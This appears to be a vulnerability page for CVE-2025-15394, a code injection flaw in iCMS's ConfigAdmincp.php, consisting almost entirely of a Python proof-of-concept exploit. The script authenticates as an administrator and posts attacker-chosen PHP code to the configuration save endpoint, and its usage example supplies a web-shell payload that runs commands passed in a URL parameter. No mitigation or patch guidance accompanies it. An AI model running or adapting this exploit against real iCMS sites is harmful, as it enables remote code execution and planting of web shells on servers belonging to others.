CVE-2025-15394 iCMS ConfigAdmincp.php代码注入漏洞

import requests import sys # CVE-2025-15394 PoC - iCMS Code Injection # Target: iCMS <= 8.0.0 (ConfigAdmincp.php Save function) # Requirement: High privilege access (admin account) def exploit(target_url, username, password, payload): """ Exploit code injection in iCMS ConfigAdmincp.php Args: target_url: Base URL of the vulnerable iCMS installation username: Admin username password: Admin password payload: PHP code to inject (e.g., '<?php phpinfo(); ?>') Returns: bool: True if exploitation appears successful """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/admincp.php?app=login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed - HTTP {response.status_code}") return False print(f"[+] Authentication successful") # Step 2: Inject malicious code via config parameter inject_url = f"{target_url}/admincp.php?app=config&do=save" inject_data = { 'config': payload, 'group': 'custom' } response = session.post(inject_url, data=inject_data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully") print(f"[+] Check {target_url}/app/config/ConfigAdmincp.php for injected code") return True else: print(f"[-] Injection failed - HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <payload>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123 '<?php system($_GET["cmd"]); ?>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit(target, user, pwd, payload)